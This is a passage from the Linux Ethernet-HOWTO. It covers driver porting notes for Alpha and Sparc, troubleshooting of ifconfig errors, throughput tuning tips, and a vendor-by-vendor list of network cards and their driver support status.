-multiply all jiffies related values by HZ/100 to account for the different HZ value that the Alpha uses. (i.e timeout=2; becomes timeout=2*HZ/100;)

-replace any I/O memory (640k to 1MB) pointer dereferences with the appropriate readb() writeb() readl() writel() calls, as shown in this example.

-       int *mem_base = (int *)dev->mem_start;
-       mem_base[0] = 0xba5eba5e;
+       unsigned long mem_base = dev->mem_start;
+       writel(0xba5eba5e, mem_base);

-replace all memcpy() calls that have I/O memory as source or target destinations with the appropriate one of memcpy_fromio() or memcpy_toio().

Details on handling memory accesses in an architecture independent fashion are documented in the file linux/Documentation/IO-mapping.txt that comes with recent kernels.

Ethernet for Linux on SUN/Sparc Hardware.

For the most up to date information on Sparc stuff, try the following URL:

Linux Sparc

Note that some Sparc ethernet hardware gets its MAC address from the host computer, and hence you can end up with multiple interfaces all with the same MAC address. If you need to put more than one interface on the same net then use the hw option to ifconfig to assign unique MAC address.

Issues regarding porting PCI drivers to the Sparc platform are similar to those mentioned above for the AXP platform. In addition there may be some endian issues, as the Sparc is big endian, and the AXP and ix86 are little endian.

Ethernet for Linux on Other Hardware.

There are several other hardware platforms that Linux can run on, such as Atari/Amiga (m68k). As in the Sparc case it is best to check with the home site of each Linux port to that platform to see what is currently supported. (Links to such sites are welcome here - send them in!)

Linking 10 or 100 BaseT without a Hub

Can I link 10/100BaseT (RJ45) based systems together without a hub?

You can link 2 machines easily, but no more than that, without extra devices/gizmos. See Twisted Pair -- it explains how to do it. And no, you can't hack together a hub just by crossing a few wires and stuff. It's pretty much impossible to do the collision signal right without duplicating a hub.

SIOCSIFxxx: No such device

I get a bunch of `SIOCSIFxxx: No such device' messages at boot, followed by a `SIOCADDRT: Network is unreachable' What is wrong?

Your ethernet device was not detected at boot/module insertion time, and when ifconfig and route are run, they have no device to work with. Use dmesg | more to review the boot messages and see if there are any messages about detecting an ethernet card.

SIOCSFFLAGS: Try again

I get `SIOCSFFLAGS: Try again' when I run `ifconfig' -- Huh?

Some other device has taken the IRQ that your ethercard is trying to use, and so the ethercard can't use the IRQ. You don't necessairly need to reboot to resolve this, as some devices only grab the IRQs when they need them and then release them when they are done. Examples are some sound cards, serial ports, floppy disk driver, etc. You can type cat /proc/interrupts to see which interrupts are presently in use. Most of the Linux ethercard drivers only grab the IRQ when they are opened for use via `ifconfig'. If you can get the other device to `let go' of the required IRQ line, then you should be able to `Try again' with ifconfig.

Using `ifconfig' and Link UNSPEC with HW-addr of 00:00:00:00:00:00

When I run ifconfig with no arguments, it reports that LINK is UNSPEC (instead of 10Mbs Ethernet) and it also says that my hardware address is all zeros.

This is because people are running a newer version of the `ifconfig' program than their kernel version. This new version of ifconfig is not able to report these properties when used in conjunction with an older kernel. You can either upgrade your kernel, `downgrade' ifconfig, or simply ignore it. The kernel knows your hardware address, so it really doesn't matter if ifconfig can't read it.

You may also get strange information if the ifconfig program you are using is a lot older than the kernel you are using.

Huge Number of RX and TX Errors

When I run ifconfig with no arguments, it reports that I have a huge error count in both rec'd and transmitted packets. It all seems to work ok -- What is wrong?

Look again. It says RX packets big number PAUSE errors 0 PAUSE dropped 0 PAUSE overrun 0. And the same for the TX column. Hence the big numbers you are seeing are the total number of packets that your machine has rec'd and transmitted. If you still find it confusing, try typing cat /proc/net/dev instead.

Entries in /dev/ for Ethercards

I have /dev/eth0 as a link to /dev/xxx. Is this right?

Contrary to what you have heard, the files in /dev/* are not used. You can delete any /dev/wd0, /dev/ne0 and similar entries.

Linux and ``trailers''

Should I disable trailers when I `ifconfig' my ethercard?

You can't disable trailers, and you shouldn't want to. `Trailers' are a hack to avoid data copying in the networking layers. The idea was to use a trivial fixed-size header of size `H', put the variable-size header info at the end of the packet, and allocate all packets `H' bytes before the start of a page. While it was a good idea, it turned out to not work well in practice. If someone suggests the use of `-trailers', note that it is the equivalent of sacrificial goats blood. It won't do anything to solve the problem, but if problem fixes itself then someone can claim deep magical knowledge.

Access to the raw Ethernet Device

How do I get access to the raw ethernet device in linux, without going through TCP/IP and friends?

        int s=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ALL));

This gives you a socket receiving every protocol type. Do recvfrom() calls to it and it will fill the sockaddr with device type in sa_family and the device name in the sa_data array. I don't know who originally invented SOCK_PACKET for Linux (its been in for ages) but its superb stuff. You can use it to send stuff raw too via sendto() calls. You have to have root access to do either of course.


Linux Ethernet-Howto: Performance Tips

 Next Previous Contents

3. Performance Tips

Here are some tips that you can use if you are suffering from low ethernet throughput, or to gain a bit more speed on those ftp transfers.

The ttcp.c program is a good test for measuring raw throughput speed. Another common trick is to do a ftp> get large_file /dev/null where large_file is > 1MB and residing in the buffer cache on the Tx'ing machine. (Do the `get' at least twice, as the first time will be priming the buffer cache on the Tx'ing machine.) You want the file in the buffer cache because you are not interested in combining the file access speed from the disk into your measurement. Which is also why you send the incoming data to /dev/null instead of onto the disk.

3.1 General Concepts

Even an 8 bit card is able to receive back-to-back packets without any problems. The difficulty arises when the computer doesn't get the Rx'd packets off the card quick enough to make room for more incoming packets. If the computer does not quickly clear the card's memory of the packets already received, the card will have no place to put the new packet.

In this case the card either drops the new packet, or writes over top of a previously received packet. Either one seriously interrupts the smooth flow of traffic by causing/requesting re-transmissions and can seriously degrade performance by up to a factor of 5!

Cards with more onboard memory are able to ``buffer'' more packets, and thus can handle larger bursts of back-to-back packets without dropping packets. This in turn means that the card does not require as low a latency from the the host computer with respect to pulling the packets out of the buffer to avoid dropping packets.

Most 8 bit cards have an 8kB buffer, and most 16 bit cards have a 16kB buffer. Most Linux drivers will reserve 3kB of that buffer (for two Tx buffers), leaving only 5kB of receive space for an 8 bit card. This is room enough for only three full sized (1500 bytes) ethernet packets.

3.2 ISA Cards and ISA Bus Speed

As mentioned above, if the packets are removed from the card fast enough, then a drop/overrun condition won't occur even when the amount of Rx packet buffer memory is small. The factor that sets the rate at which packets are removed from the card to the computer's memory is the speed of the data path that joins the two -- that being the ISA bus speed. (If the CPU is a dog-slow 386sx-16, then this will also play a role.)

The recommended ISA bus clock is about 8MHz, but many motherboards and peripheral devices can be run at higher frequencies. The clock frequency for the ISA bus can usually be set in the CMOS setup, by selecting a divisor of the mainboard/CPU clock frequency. Some ISA and PCI/ISA mainboards may not have this option, and so you are stuck with the factory default.

For example, here are some receive speeds as measured by the TTCP program on a 40MHz 486, with an 8 bit WD8003EP card, for different ISA bus speeds.

        ISA Bus Speed (MHz)     Rx TTCP (kB/s)
        -------------------     --------------
        6.7                     740
        13.4                    970
        20.0                    1030
        26.7                    1075

You would be hard pressed to do better than 1075kB/s with any 10Mb/s ethernet card, using TCP/IP. However, don't expect every system to work at fast ISA bus speeds. Most systems will not function properly at speeds above 13MHz. (Also, some PCI systems have the ISA bus speed fixed at 8MHz, so that the end user does not have the option of increasing it.)

In addition to faster transfer speeds, one will usually also benefit from a reduction in CPU usage due to the shorter duration memory and I/O cycles. (Note that hard disks and video cards located on the ISA bus will also usually experience a performance increase from an increased ISA bus speed.)

Be sure to back up your data prior to experimenting with ISA bus speeds in excess of 8MHz, and thouroughly test that all ISA peripherals are operating properly after making any speed increases.

3.3 Setting the TCP Rx Window

Once again, cards with small amounts of onboard RAM and relatively slow data paths between the card and the computer's memory run into trouble. The default TCP Rx window setting is 32kB, which means that a fast computer on the same subnet as you can dump 32k of data on you without stopping to see if you received any of it okay.

Recent versions of the route command have the ability to set the size of this window on the fly. Usually it is only for the local net that this window must be reduced, as computers that are behind a couple of routers or gateways are `buffered' enough to not pose a problem. An example usage would be:

        route add <whatever> ... window <win_size>

where win_size is the size of the window you wish to use (in bytes). An 8 bit 3c503 card on an ISA bus operating at a speed of 8MHz or less would work well with a window size of about 4kB. Too large a window will cause overruns and dropped packets, and a drastic reduction in ethernet throughput. You can check the operating status by doing a cat /proc/net/dev which will display any dropped or overrun conditions that occurred.

3.4 Increasing NFS performance

Some people have found that using 8 bit cards in NFS clients causes poorer than expected performance, when using 8kB (native Sun) NFS packet size.

The possible reason for this could be due to the difference in on board buffer size between the 8 bit and the 16 bit cards. The maximum ethernet packet size is about 1500 bytes. Now that 8kB NFS packet will arrive as about 6 back to back maximum size ethernet packets. Both the 8 and 16 bit cards have no problem Rx'ing back to back packets. The problem arises when the machine doesn't remove the packets from the cards buffer in time, and the buffer overflows. The fact that 8 bit cards take an extra ISA bus cycle per transfer doesn't help either. What you can do if you have an 8 bit card is either set the NFS transfer size to 2kB (or even 1kB), or try increasing the ISA bus speed in order to get the card's buffer cleared out faster. I have found that an old WD8003E card at 8MHz (with no other system load) can keep up with a large receive at 2kB NFS size, but not at 4kB, where performance was degraded by a factor of three.

On the other hand, if the default mount option is to use 1kB size and you have at least a 16 bit ISA card, you may find a significant increase in going to 4kB (or even 8kB).


Linux Ethernet-Howto: Vendor/Manufacturer/Model Specific Information

 Next Previous Contents

4. Vendor/Manufacturer/Model Specific Information

The following lists many cards in alphabetical order by vendor name and then product identifier. Beside each product ID, you will see either `Supported', `Semi-Supported' or `Not Supported'.

Supported means that a driver for that card exists, and many people are happily using it and it seems quite reliable.

Semi-Supported means that a driver exists, but at least one of the following descriptions is true: (1) The driver and/or hardware are buggy, which may cause poor performance, failing connections or even crashes. (2) The driver is new or the card is fairly uncommon, and hence the driver has seen very little use/testing and the driver author has had very little feedback. Obviously (2) is preferable to (1), and the individual description of the card/driver should make it clear which one holds true. In either case, you will probably have to answer `Y' when asked ``Prompt for development and/or incomplete code/drivers?'' when running make config.

Not Supported means there is not a driver currently available for that card. This could be due to a lack of interest in hardware that is rare/uncommon, or because the vendors won't release the hardware documentation required to write a driver.

Note that the difference between `Supported' and `Semi-Supported' is rather subjective, and is based on user feedback observed in newsgroup postings and mailing list messages. (After all, it is impossible for one person to test all drivers with all cards for each kernel version!!!) So be warned that you may find a card listed as semi-supported works perfectly for you (which is great), or that a card listed as supported gives you no end of troubles and problems (which is not so great).

After the status, the name of the driver given in the linux kernel is listed. This will also be the name of the driver module that would be used in the alias eth0 driver_name line that is found in the /etc/conf.modules module configuration file.

4.1 3Com

If you are not sure what your card is, but you think it is a 3Com card, you can probably figure it out from the assembly number. 3Com has a document `Identifying 3Com Adapters By Assembly Number' (ref 24500002) that would most likely clear things up. See Technical Information from 3Com for info on how to get documents from 3Com.

Also note that 3Com has a WWW/FTP site with various goodies: www.3Com.com that you may want to check out. They even have linux drivers for some of their cards there you may wish to test out. It has been reported that their drivers are not stable and/or unuseable on SMP and non ix86 based machines, so you may want to keep that in mind.

3c501

Status: Semi-Supported, Driver Name: 3c501

This obsolete stone-age 8 bit card is really too brain-damaged to use. Avoid it like the plague. Do not purchase this card, even as a joke. It's performance is horrible, and it breaks in many ways.

For those not yet convinced, the 3c501 can only do one thing at a time -- while you are removing one packet from the single-packet buffer it cannot receive another packet, nor can it receive a packet while loading a transmit packet. This was fine for a network between two 8088-based computers where processing each packet and replying took 10's of msecs, but modern networks send back-to-back packets for almost every transaction.

AutoIRQ works, DMA isn't used, the autoprobe only looks at 0x280 and 0x300, and the debug level is set with the third boot-time argument.

Once again, the use of a 3c501 is strongly discouraged! Even more so with a IP multicast kernel, as you will grind to a halt while listening to all multicast packets. See the comments at the top of the source code for more details.

EtherLink II, 3c503, 3c503/16

Status: Supported, Driver Name: 3c503 (+8390)

The 3c503 does not have ``EEPROM setup'', so a diagnostic/setup program isn't needed before running the card with Linux. The shared memory address of the 3c503 is set using jumpers that are shared with the boot PROM address. This is confusing to people familiar with other ISA cards, where you always leave the jumper set to ``disable'' unless you have a boot PROM.

These cards should be about the same speed as the same bus width WD80x3, but turn out to be actually a bit slower. These shared-memory ethercards also have a programmed I/O mode that doesn't use the 8390 facilities (their engineers found too many bugs!) The Linux 3c503 driver can also work with the 3c503 in programmed-I/O mode, but this is slower and less reliable than shared memory mode. Also, programmed-I/O mode is not as well tested when updating the drivers. You shouldn't use the programmed-I/O mode unless you need it for MS-DOS compatibility.

The 3c503's IRQ line is set in software, with no hints from an EEPROM. Unlike the MS-DOS drivers, the Linux driver has capability to autoIRQ: it uses the first available IRQ line in {5,2/9,3,4}, selected each time the card is ifconfig'ed. (Older driver versions selected the IRQ at boot time.) The ioctl() call in `ifconfig' will return EAGAIN if no IRQ line is available at that time.

Some common problems that people have with the 503 are discussed in Problems with....

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

Note that some old diskless 386 workstations have an on board 3c503 (made by 3Com and sold under different names, like `Bull') but the vendor ID is not a 3Com ID and so it won't be detected. More details can be found in the Etherboot package, which you will need anyways to boot these diskless boxes.

Etherlink Plus 3c505

Status: Semi-Supported, Driver Name: 3c505

These cards use the i82586 chip but are not that many of them about. It is included in the standard kernel, but it is classed as an alpha driver. See Alpha Drivers for important information on using alpha-test ethernet drivers with Linux.

There is also the file /usr/src/linux/drivers/net/README.3c505 that you should read if you are going to use one of these cards. It contains various options that you can enable/disable.

Etherlink-16 3c507

Status: Semi-Supported, Driver Name: 3c507

This card uses one of the Intel chips, and the development of the driver is closely related to the development of the Intel Ether Express driver. The driver is included in the standard kernel release, but as an alpha driver. See Alpha Drivers for important information on using alpha-test ethernet drivers with Linux.

Etherlink III, 3c509 / 3c509B

Status: Supported, Driver Name: 3c509

This card is fairly inexpensive and has good performance for an ISA non-bus-master design. The drawbacks are that the original 3c509 requires very low interrupt latency. The 3c509B shouldn't suffer from the same problem, due to having a larger buffer. (See below.) These cards use PIO transfers, similar to a ne2000 card, and so a shared memory card such as a wd8013 will be more efficient in comparison.

The original 3c509 has a small packet buffer (4kB total, 2kB Rx, 2kB Tx), causing the driver to occasionally drop a packet if interrupts are masked for too long. To minimize this problem, you can try unmasking interrupts during IDE disk transfers (see man hdparm) and/or increasing your ISA bus speed so IDE transfers finish sooner.

The newer model 3c509B has 8kB on board, and the buffer can be split 4/4, 5/3 or 6/2 for Rx/Tx. This setting is changed with the DOS configuration utility, and is stored on the EEPROM. This should alleviate the above problem with the original 3c509.

3c509B users should use either the supplied DOS utility to disable the plug and play support, and to set the output media to what they require. The linux driver currently does not support the Autodetect media setting, so you have to select 10Base-T or 10Base-2 or AUI. Note that to turn off PnP entirely, you should do a 3C5X9CFG /PNP:DISABLE and then follow that with a hard reset to ensure that it takes effect.

Some people ask about the ``Server or Workstation'' and ``Highest Modem Speed'' settings presented in the DOS configuration utility. Donald writes ``These are only hints to the drivers, and the Linux driver does not use these parameters: it always optimizes for high throughput rather than low latency (`Server'). Low latency was critically important for old, non-windowed, IPX throughput. To reduce the latency the MS-DOS driver for the 3c509 disables interrupts for some operations, blocking serial port interrupts. Thus the need for the `modem speed' setting. The Linux driver avoids the need to disable interrupts for long periods by operating only on whole packets e.g. by not starting to transmit a packet until it is completely transferred to the card.''

Note that the ISA card detection uses a different method than most cards. Basically, you ask the cards to respond by sending data to an ID_PORT (port 0x100 to 0x1ff on intervals of 0x10). This detection method means that a particular card will always get detected first in a multiple ISA 3c509 configuration. The card with the lowest hardware ethernet address will always end up being eth0. This shouldn't matter to anyone, except for those people who want to assign a 6 byte hardware address to a particular interface. If you have multiple 3c509 cards, it is best to append ether=0,0,ethN commands without the I/O port specified (i.e. use I/O=zero) and allow the probe to sort out which card is first. Using a non-zero I/O value will ensure that it does not detect all your cards, so don't do it.

If this really bothers you, have a look at Donald's latest driver, as you may be able to use a 0x3c509 value in the unused mem address fields to order the detection to suit your needs.

3c515

Status: Supported, Driver Name: 3c515

This is 3Com's ISA 100Mbps offering, codenamed ``CorkScrew''. A relatively new driver from Donald for these cards is included in the v2.2 kernels. For the most up to date information, you should probably look on the Vortex page:

Vortex

3c523

Status: Semi-Supported, Driver Name: 3c523

This MCA bus card uses the i82586, and Chris Beauregard has modified the ni52 driver to work with these cards. The driver for it can be found in the v2.2 kernel source tree.

More details can be found on the MCA-Linux page at http://glycerine.cetmm.uni.edu/mca/

3c527

Status: Not Supported.

Yes, another MCA card. No, not too much interest in it. Better chances with the 3c529 if you are stuck with MCA.

3c529

Status: Supported, Driver Name: 3c509

This card actually uses the same chipset as the 3c509. Donald actually put hooks into the 3c509 driver to check for MCA cards after probing for EISA cards, and before probing for ISA cards, long before MCA support was added to the kernel. The required MCA probe code is included in the driver shipped with v2.2 kernels. More details can be found on the MCA-Linux page at:

http://glycerine.cetmm.uni.edu/mca/

3c562

Status: Supported, Driver Name: 3c589 (distributed separately)

This PCMCIA card is the combination of a 3c589B ethernet card with a modem. The modem appears as a standard modem to the end user. The only difficulty is getting the two separate linux drivers to share one interrupt. There are a couple of new registers and some hardware interrupt sharing support. You need to use a v2.0 or newer kernel that has the support for interrupt sharing.

Thanks again to Cameron for getting a sample unit and documentation sent off to David Hinds. Look for support in David's PCMCIA package release.

See PCMCIA Support for more info on PCMCIA chipsets, socket enablers, etc.

3c575

Status: Unknown.

A driver for this PCMCIA card is under development and hopefully will be included in David's PCMCIA package in the future. Best to check the PCMCIA package to get the current status.

3c579

Status: Supported, Driver Name: 3c509

The EISA version of the 509. The current EISA version uses the same 16 bit wide chip rather than a 32 bit interface, so the performance increase isn't stunning. Make sure the card is configured for EISA addressing mode. Read the above 3c509 section for info on the driver.

3c589 / 3c589B

Status: Semi-Supported, Driver Name: 3c589

Many people have been using this PCMCIA card for quite some time now. Note that support for it is not (at present) included in the default kernel source tree. The "B" in the name means the same here as it does for the 3c509 case.

There are drivers available on Donald's ftp site and in David Hinds PCMCIA package. You will also need a supported PCMCIA controller chipset. See PCMCIA Support for more info on PCMCIA drivers, chipsets, socket enablers, etc.

3c590 / 3c595

Status: Supported, Driver Name: 3c59x

These ``Vortex'' cards are for PCI bus machines, with the '590 being 10Mbps and the '595 being 3Com's 100Mbs offering. Also note that you can run the '595 as a '590 (i.e. in a 10Mbps mode). The driver is included in the v2.0 kernel source, but is also continually being updated. If you have problems with the driver in the v2.0 kernel, you can get an updated driver from the following URL:

Vortex

Note that there are two different 3c590 cards out there, early models that had 32kB of on-board memory, and later models that only have 8kB of memory. Chances are you won't be able to buy a new 3c59x for much longer, as it is being replaced with the 3c90x card. If you are buying a used one off somebody, try and get the 32kB version. The 3c595 cards have 64kB, as you can't get away with only 8kB RAM at 100Mbps!

A thanks to Cameron Spitzer and Terry Murphy of 3Com for sending cards and documentation to Donald so he could write the driver.

3c592 / 3c597

Status: Supported, Driver Name: 3c59x

These are the EISA versions of the 3c59x series of cards. The 3c592/3c597 (aka Demon) should work with the vortex driver discussed above.

3c900 / 3c905 / 3c905B / 3c905C

Status: Supported, Driver Name: 3c59x

These cards (aka `Boomerang', aka EtherLink III XL) have been released to take over the place of the 3c590/3c595 cards.

The support for the Cyclone `B' revision was only recently added. To use this card with older v2.0 kernels, you must obtain the updated 3c59x.c driver from Donald's site at:

Vortex-Page

3c985

Status: Supported, Driver Name: acenic

This driver, by Jes Sorensen, is available in v2.2 kernels It supports several other Gigabit cards in addition to the 3Com model.

4.2 Accton

Accton MPX

Status: Supported, Driver Name: ne (+8390)

Don't let the name fool you. This is still supposed to be a NE2000 compatible card, and should work with the ne2000 driver.

Accton EN1203, EN1207, EtherDuo-PCI

Status: Supported, Driver Name: de4x5, tulip, OR rtl8139

Apparently there have been several revisions of the EN1207 (A through D) with A, B, and C being tulip based and the D revision being RealTek 8139 based (different driver). So as with all purchases, you should try and make sure you can return it if it doesn't work for you.

Accton EN2209 Parallel Port Adaptor (EtherPocket)

Status: Semi-Supported, Driver Name: ?

A driver for these parallel port adapters is available but not yet part of the 2.0 or 2.1 kernel source. You have to get the driver from:

http://www.unix-ag.uni-siegen.de/~nils/accton_linux.html

Accton EN2212 PCMCIA Card

Status: Semi-Supported, Driver Name: ?

David Hinds has been working on a driver for this card, and you are best to check the latest release of his PCMCIA package to see what the present status is.

4.3 Allied Telesyn/Telesis

AT1500

Status: Supported, Driver Name: lance

These are a series of low-cost ethercards using the 79C960 version of the AMD LANCE. These are bus-master cards, and hence one of the faster ISA bus ethercards available.

DMA selection and chip numbering information can be found in AMD LANCE.

More technical information on AMD LANCE based Ethernet cards can be found in Notes on AMD....

AT1700

Status: Supported, Driver Name: at1700

Note that to access this driver during make config you still have to answer `Y' when asked ``Prompt for development and/or incomplete code/drivers?'' at the first. This is simply due to lack of feedback on the driver stability due to it being a relatively rare card. If you have problems with the driver that ships with the kernel then you may be interested in the alternative driver available at: http://www.cc.hit-u.ac.jp/nagoya/at1700/

The Allied Telesis AT1700 series ethercards are based on the Fujitsu MB86965. This chip uses a programmed I/O interface, and a pair of fixed-size transmit buffers. This allows small groups of packets to be sent back-to-back, with a short pause while switching buffers.

A unique feature is the ability to drive 150ohm STP (Shielded Twisted Pair) cable commonly installed for Token Ring, in addition to 10baseT 100ohm UTP (unshielded twisted pair). A fibre optic version of the card (AT1700FT) exists as well.

The Fujitsu chip used on the AT1700 has a design flaw: it can only be fully reset by doing a power cycle of the machine. Pressing the reset button doesn't reset the bus interface. This wouldn't be so bad, except that it can only be reliably detected when it has been freshly reset. The solution/work-around is to power-cycle the machine if the kernel has a problem detecting the AT1700.

AT2400

Status: Supported, Driver Name: ne, ne2k-pci (+8390)

Yet another PCI NE2000 clone card. This one is based on the RealTek 8029 chip.

AT2450

Status: Supported, Driver Name: pcnet32

This is the PCI version of the AT1500, and it doesn't suffer from the problems that the Boca 79c970 PCI card does. DMA selection and chip numbering information can be found in AMD LANCE.

More technical information on AMD LANCE based Ethernet cards can be found in Notes on AMD....

AT2500

Status: Semi-Supported, Driver Name: rtl8139

This card uses the RealTek 8139 chip - see the section RealTek 8139.

AT2540FX

Status: Semi-Supported, Driver Name: eepro100

This card uses the i82557 chip, and hence may/should work with the eepro100 driver. If you try this please send in a report so this information can be updated.

4.4 AMD / Advanced Micro Devices

Carl Ching of AMD was kind enough to provide a very detailed description of all the relevant AMD ethernet products which helped clear up this section.

AMD LANCE (7990, 79C960/961/961A, PCnet-ISA)

Status: Supported, Driver Name: lance

There really is no AMD ethernet card. You are probably reading this because the only markings you could find on your card said AMD and the above number. The 7990 is the original `LANCE' chip, but most stuff (including this document) refer to all these similar chips as `LANCE' chips. (...incorrectly, I might add.)

These above numbers refer to chips from AMD that are the heart of many ethernet cards. For example, the Allied Telesis AT1500 (see AT1500) and the NE1500/2100 (see NE1500) use these chips.

The 7990/79c90 have long been replaced by newer versions. The 79C960 (a.k.a. PCnet-ISA) essentially contains the 79c90 core, along with all the other hardware support required, which allows a single-chip ethernet solution. The 79c961 (PCnet-ISA+) is a jumperless Plug and Play version of the '960. The final chip in the ISA series is the 79c961A (PCnet-ISA II), which adds full duplex capabilities. All cards with one of these chips should work with the lance.c driver, with the exception of very old cards that used the original 7990 in a shared memory configuration. These old cards can be spotted by the lack of jumpers for a DMA channel.

One common problem people have is the `busmaster arbitration failure' message. This is printed out when the LANCE driver can't get access to the bus after a reasonable amount of time has elapsed (50us). This usually indicates that the motherboard implementation of bus-mastering DMA is broken, or some other device is hogging the bus, or there is a DMA channel conflict. If your BIOS setup has the `GAT option' (for Guaranteed Access Time) then try toggling/altering that setting to see if it helps.

Also note that the driver only looks at the addresses: 0x300, 0x320, 0x340, 0x360 for a valid card, and any address supplied by an ether= boot argument is silently ignored (this will be fixed) so make sure your card is configured for one of the above I/O addresses for now.

The driver will still work fine, even if more than 16MB of memory is installed, since low-memory `bounce-buffers' are used when needed (i.e. any data from above 16MB is copied into a buffer below 16MB before being given to the card to transmit.)

The DMA channel can be set with the low bits of the otherwise-unused dev->mem_start value (a.k.a. PARAM_1). (see PARAM_1) If unset it is probed for by enabling each free DMA channel in turn and checking if initialization succeeds.

The HP-J2405A board is an exception: with this board it's easy to read the EEPROM-set values for the IRQ, and DMA.

See Notes on AMD... for more info on these chips.

AMD 79C965 (PCnet-32)

Status: Supported, Driver Name: pcnet32

This is the PCnet-32 -- a 32 bit bus-master version of the original LANCE chip for VL-bus and local bus systems. chip. While these chips can be operated with the standard lance.c driver, a 32 bit version (pcnet32.c) is also available that does not have to concern itself with any 16MB limitations associated with the ISA bus.

AMD 79C970/970A (PCnet-PCI)

Status: Supported, Driver Name: pcnet32

This is the PCnet-PCI -- similar to the PCnet-32, but designed for PCI bus based systems. Please see the above PCnet-32 information. This means that you need to build a kernel with PCI BIOS support enabled. The '970A adds full duplex support along with some other features to the original '970 design.

Note that the Boca implementation of the 79C970 fails on fast Pentium machines. This is a hardware problem, as it affects DOS users as well. See the Boca section for more details.

AMD 79C971 (PCnet-FAST)

Status: Supported, Driver Name: pcnet32

This is AMD's 100Mbit chip for PCI systems, which also supports full duplex operation. It was introduced in June 1996.

AMD 79C972 (PCnet-FAST+)

Status: Supported, Driver Name: pcnet32

This has been confirmed to work just like the '971.

AMD 79C974 (PCnet-SCSI)

Status: Supported, Driver Name: pcnet32

This is the PCnet-SCSI -- which is basically treated like a '970 from an Ethernet point of view. Also see the above information. Don't ask if the SCSI half of the chip is supported -- this is the Ethernet-HowTo, not the SCSI-HowTo.

4.5 Ansel Communications

AC3200 EISA

Status: Semi-Supported, Driver Name: ac3200

Note that to access this driver during make config you still have to answer `Y' when asked ``Prompt for development and/or incomplete code/drivers?'' at the first. This is simply due to lack of feedback on the driver stability due to it being a relatively rare card.

This driver is included in the present kernel as an alpha test driver. It is based on the common NS8390 chip used in the ne2000 and wd80x3 cards. Please see Alpha Drivers in this document for important information regarding alpha drivers.

If you use it, let one of us know how things work out, as feedback has been low, even though the driver has been in the kernel since v1.1.25.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

4.6 Apricot

Apricot Xen-II On Board Ethernet

Status: Semi-Supported, Driver Name: apricot

This on board ethernet uses an i82596 bus-master chip. It can only be at I/O address 0x300. By looking at the driver source, it appears that the IRQ is also hardwired to 10.

Earlier versions of the driver had a tendency to think that anything living at 0x300 was an apricot NIC. Since then the hardware address is checked to avoid these false detections.

4.7 Arcnet

Status: Supported, Driver Name: arcnet (arc-rimi, com90xx, com20020)

With the very low cost and better performance of ethernet, chances are that most places will be giving away their Arcnet hardware for free, resulting in a lot of home systems with Arcnet.

An advantage of Arcnet is that all of the cards have identical interfaces, so one driver will work for everyone. It also has built in error handling so that it supposedly never loses a packet. (Great for UDP traffic!) Note that the arcnet driver uses `arc0' as its name instead of the usual `eth0' for ethernet devices.

There are information files contained in the standard kernel for setting jumpers, general hints and where to mail bug reports.

Supposedly the driver also works with the 100Mbs ARCnet cards as well!

4.8 AT&T

Note that AT&T's StarLAN is an orphaned technology, like SynOptics LattisNet, and can't be used in a standard 10Base-T environment, without a hub that `speaks' both.

AT&T T7231 (LanPACER+)

Status: Not Supported.

These StarLAN cards use an interface similar to the i82586 chip. At one point, Matthijs Melchior (matthijs.n.melchior@att.com) was playing with the 3c507 driver, and almost had something useable working. Haven't heard much since that.

4.9 Boca Research

Yes, they make more than just multi-port serial cards.

Boca BEN400

Status: Supported, Driver Name: ne (+8390)

Apparently this is a NE2000 clone, using a VIA VT86C916 chip.

Boca BEN (ISA, VLB, PCI)

Status: Supported, Driver Name: lance, pcnet32

These cards are based on AMD's PCnet chips. Perspective buyers should be warned that many users have had endless problems with these VLB/PCI cards. Owners of fast Pentium systems have been especially hit. Note that this is not a driver problem, as it hits DOS/Win/NT users as well. Boca's technical support number is (407) 241-8088, and you can also reach them at 75300.2672@compuserve.com. The older ISA cards don't appear to suffer the same problems.

Boca was offering a `warranty repair' for affected owners, which involved adding one of the missing capacitors, but it appears that this fix didn't work 100 percent for most people, although it helps some.

More general information on the AMD chips can be found in AMD LANCE.

More technical information on AMD LANCE based Ethernet cards can be found in Notes on AMD....

4.10 Cabletron

Donald writes: `Yes, another one of these companies that won't release its programming information. They waited for months before actually confirming that all their information was proprietary, deliberately wasting my time. Avoid their cards like the plague if you can. Also note that some people have phoned Cabletron, and have been told things like `a D. Becker is working on a driver for linux' -- making it sound like I work for them. This is NOT the case.'

Apparently Cabletron has changed their policy with respect to programming information (like Xircom) since Donald made the above comment several years ago -- send e-mail to support@ctron.com if you want to verify this or ask for programming information. However, at this point in time, there is little demand for modified/updated drivers for the older E20xx and E21xx cards.

E10**, E10**-x, E20**, E20**-x

Status: Semi-Supported, Driver Name: ne (+8390)

These are NEx000 almost-clones that are reported to work with the standard NEx000 drivers, thanks to a ctron-specific check during the probe. If there are any problems, they are unlikely to be fixed, as the programming information is unavailable.

E2100

Status: Semi-Supported, Driver Name: e2100 (+8390)

Again, there is not much one can do when the programming information is proprietary. The E2100 is a poor design. Whenever it maps its shared memory in during a packet transfer, it maps it into the whole 128K region! That means you can't safely use another interrupt-driven shared memory device in that region, including another E2100. It will work most of the time, but every once in a while it will bite you. (Yes, this problem can be avoided by turning off interrupts while transferring packets, but that will almost certainly lose clock ticks.) Also, if you mis-program the board, or halt the machine at just the wrong moment, even the reset button won't bring it back. You will have to turn it off and leave it off for about 30 seconds.

Media selection is automatic, but you can override this with the low bits of the dev->mem_end parameter. See PARAM_2. Module users can specify an xcvr=N value as an option in the /etc/conf.modules file.

Also, don't confuse the E2100 for a NE2100 clone. The E2100 is a shared memory NatSemi DP8390 design, roughly similar to a brain-damaged WD8013, whereas the NE2100 (and NE1500) use a bus-mastering AMD LANCE design.

There is an E2100 driver included in the standard kernel. However, seeing as programming info isn't available, don't expect bug-fixes. Don't use one unless you are already stuck with the card.

If you intend on using this driver as a loadable module you should probably see Using the Ethernet Drivers as Modules for module specific information.

E22**

Status: Semi-Supported, Driver Name: lance

According to information in a Cabletron Tech Bulletin, these cards use the standard AMD PC-Net chipset (see AMD PC-Net) and should work with the generic lance driver.

4.11 Cogent

Here is where and how to reach them:

        Cogent Data Technologies, Inc.
        175 West Street, P.O. Box 926
        Friday Harbour, WA 98250, USA.

        Cogent Sales
        15375 S.E. 30th Place, Suite 310
        Bellevue, WA 98007, USA.

        Technical Support:
        Phone (360) 378-2929 between 8am and 5pm PST
        Fax (360) 378-2882
        Compuserve GO COGENT
